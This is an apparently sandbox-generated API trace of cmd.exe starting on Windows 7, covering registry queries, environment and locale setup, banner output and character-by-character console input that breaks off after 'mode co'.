[0147.406] FreeEnvironmentStringsW (penv=0x88aa0) returned 1 [0147.406] GetProcessHeap () returned 0x70000 [0147.406] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x8) returned 0x88920 [0147.406] GetEnvironmentStringsW () returned 0x88aa0* [0147.406] GetProcessHeap () returned 0x70000 [0147.406] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xab4) returned 0x8a020 [0147.407] FreeEnvironmentStringsW (penv=0x88aa0) returned 1 [0147.407] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2de7b8 | out: phkResult=0x2de7b8*=0x44) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x18, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x1, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x1, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x0, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x40, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x40, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x40, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegCloseKey (hKey=0x44) returned 0x0 [0147.407] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2de7b8 | out: phkResult=0x2de7b8*=0x44) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x40, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x1, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x1, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x0, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x9, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x4, lpData=0x2de7d0*=0x9, lpcbData=0x2de7b4*=0x4) returned 0x0 [0147.407] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2de7b0, lpData=0x2de7d0, lpcbData=0x2de7b4*=0x1000 | out: lpType=0x2de7b0*=0x0, lpData=0x2de7d0*=0x9, lpcbData=0x2de7b4*=0x1000) returned 0x2 [0147.407] RegCloseKey (hKey=0x44) returned 0x0 [0147.407] time (in: timer=0x0 | out: timer=0x0) returned 0x5dc48d6e [0147.407] srand (_Seed=0x5dc48d6e) [0147.408] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0147.408] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0147.408] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0147.408] GetProcessHeap () returned 0x70000 [0147.408] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x8aae0 [0147.408] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0147.409] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0147.409] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0147.409] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0147.409] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0147.409] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0147.409] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0147.409] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0147.409] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0147.409] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0147.409] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0147.409] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0147.409] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0147.409] GetProcessHeap () returned 0x70000 [0147.409] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89560 | out: hHeap=0x70000) returned 1 [0147.409] GetEnvironmentStringsW () returned 0x88aa0* [0147.409] GetProcessHeap () returned 0x70000 [0147.409] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xacc) returned 0x8ad00 [0147.409] FreeEnvironmentStringsW (penv=0x88aa0) returned 1 [0147.409] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0147.409] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0147.409] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0147.409] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0147.409] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0147.410] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0147.410] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0147.410] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0147.410] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0147.410] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0147.410] GetProcessHeap () returned 0x70000 [0147.410] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x38) returned 0x864d0 [0147.410] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2df5c0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0147.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2df5c0, lpFilePart=0x2df5a0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2df5a0*="system32") returned 0x13 [0147.410] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0147.410] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2df2d0 | out: lpFindFileData=0x2df2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x8b7e0 [0147.410] FindClose (in: hFindFile=0x8b7e0 | out: hFindFile=0x8b7e0) returned 1 [0147.410] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2df2d0 | out: lpFindFileData=0x2df2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9dde4ab0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9dde4ab0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x8b7e0 [0147.410] FindClose (in: hFindFile=0x8b7e0 | out: hFindFile=0x8b7e0) returned 1 [0147.410] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0147.410] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0147.411] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0147.411] GetProcessHeap () returned 0x70000 [0147.411] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8ad00 | out: hHeap=0x70000) returned 1 [0147.411] GetEnvironmentStringsW () returned 0x8ad00* [0147.411] GetProcessHeap () returned 0x70000 [0147.411] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xafc) returned 0x88aa0 [0147.411] FreeEnvironmentStringsW (penv=0x8ad00) returned 1 [0147.411] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0147.411] GetProcessHeap () returned 0x70000 [0147.411] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x864d0 | out: hHeap=0x70000) returned 1 [0147.411] GetProcessHeap () returned 0x70000 [0147.411] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4016) returned 0x8ad00 [0147.411] GetProcessHeap () returned 0x70000 [0147.411] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8ad00 | out: hHeap=0x70000) returned 1 [0147.411] GetConsoleOutputCP () returned 0x1b5 [0147.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0147.412] GetUserDefaultLCID () returned 0x409 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f27b50, cchData=8 | out: lpLCData=":") returned 2 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2df6d0, cchData=128 | out: lpLCData="0") returned 2 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2df6d0, cchData=128 | out: lpLCData="0") returned 2 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2df6d0, cchData=128 | out: lpLCData="1") returned 2 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49f3a740, cchData=8 | out: lpLCData="/") returned 2 [0147.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49f3a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49f3a460, cchData=32 | out: lpLCData="Tue") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49f3a420, cchData=32 | out: lpLCData="Wed") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49f3a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49f3a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49f3a360, cchData=32 | out: lpLCData="Sat") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49f3a700, cchData=32 | out: lpLCData="Sun") returned 4 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f27b40, cchData=8 | out: lpLCData=".") returned 2 [0147.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49f3a4e0, cchData=8 | out: lpLCData=",") returned 2 [0147.413] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0147.413] GetProcessHeap () returned 0x70000 [0147.413] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x0, Size=0x20c) returned 0x89620 [0147.413] GetConsoleTitleW (in: lpConsoleTitle=0x89620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0147.414] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.414] GetFileType (hFile=0xf4) returned 0x3 [0147.415] BrandingFormatString () returned 0x89840 [0147.467] GetVersion () returned 0x1db10106 [0147.467] _vsnwprintf (in: _Buffer=0x2df840, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2df7d8 | out: _Buffer="6.1.7601") returned 8 [0147.467] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.467] GetFileType (hFile=0xf4) returned 0x3 [0147.467] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49f36340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0147.526] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49f36340, nSize=0x2000, Arguments=0x2df7e0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0147.526] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2df768, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df768*=0x24, lpOverlapped=0x0) returned 1 [0147.526] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2df808 | out: _Buffer="\r\n") returned 2 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] GetFileType (hFile=0xf4) returned 0x3 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0147.526] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2df7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df7d8*=0x2, lpOverlapped=0x0) returned 1 [0147.526] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2df808 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] GetFileType (hFile=0xf4) returned 0x3 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0147.526] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2df7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df7d8*=0x3f, lpOverlapped=0x0) returned 1 [0147.526] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2df808 | out: _Buffer="\r\n") returned 2 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] GetFileType (hFile=0xf4) returned 0x3 [0147.526] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0147.526] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2df7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df7d8*=0x2, lpOverlapped=0x0) returned 1 [0147.527] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77890000 [0147.527] GetProcAddress (hModule=0x77890000, lpProcName="CopyFileExW") returned 0x778a23d0 [0147.527] GetProcAddress (hModule=0x77890000, lpProcName="IsDebuggerPresent") returned 0x77898290 [0147.527] GetProcAddress (hModule=0x77890000, lpProcName="SetConsoleInputExeNameW") returned 0x778a17e0 [0147.527] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.527] GetFileType (hFile=0xe8) returned 0x3 [0147.527] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0147.527] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2df630 | out: TokenHandle=0x2df630*=0x0) returned 0xc000007c [0147.527] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2df630 | out: TokenHandle=0x2df630*=0x50) returned 0x0 [0147.528] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2df640, TokenInformationLength=0x4, ReturnLength=0x2df648 | out: TokenInformation=0x2df640, ReturnLength=0x2df648) returned 0x0 [0147.564] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2df648, TokenInformationLength=0x4, ReturnLength=0x2df640 | out: TokenInformation=0x2df648, ReturnLength=0x2df640) returned 0x0 [0147.564] NtClose (Handle=0x50) returned 0x0 [0147.564] GetProcessHeap () returned 0x70000 [0147.564] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8aae0 | out: hHeap=0x70000) returned 1 [0147.608] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2df348 | out: _Buffer="\r\n") returned 2 [0147.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.608] GetFileType (hFile=0xf4) returned 0x3 [0147.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0147.608] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2df318, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df318*=0x2, lpOverlapped=0x0) returned 1 [0147.608] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0147.608] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0147.608] _vsnwprintf (in: _Buffer=0x49f1eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2df358 | out: _Buffer="C:\\Windows\\system32") returned 19 [0147.608] _vsnwprintf (in: _Buffer=0x49f1eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2df358 | out: _Buffer=">") returned 1 [0147.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.608] GetFileType (hFile=0xf4) returned 0x3 [0147.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0147.608] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2df348, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df348*=0x14, lpOverlapped=0x0) returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] GetFileType (hFile=0xe8) returned 0x3 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.609] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.609] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.609] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.609] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.609] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0147.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 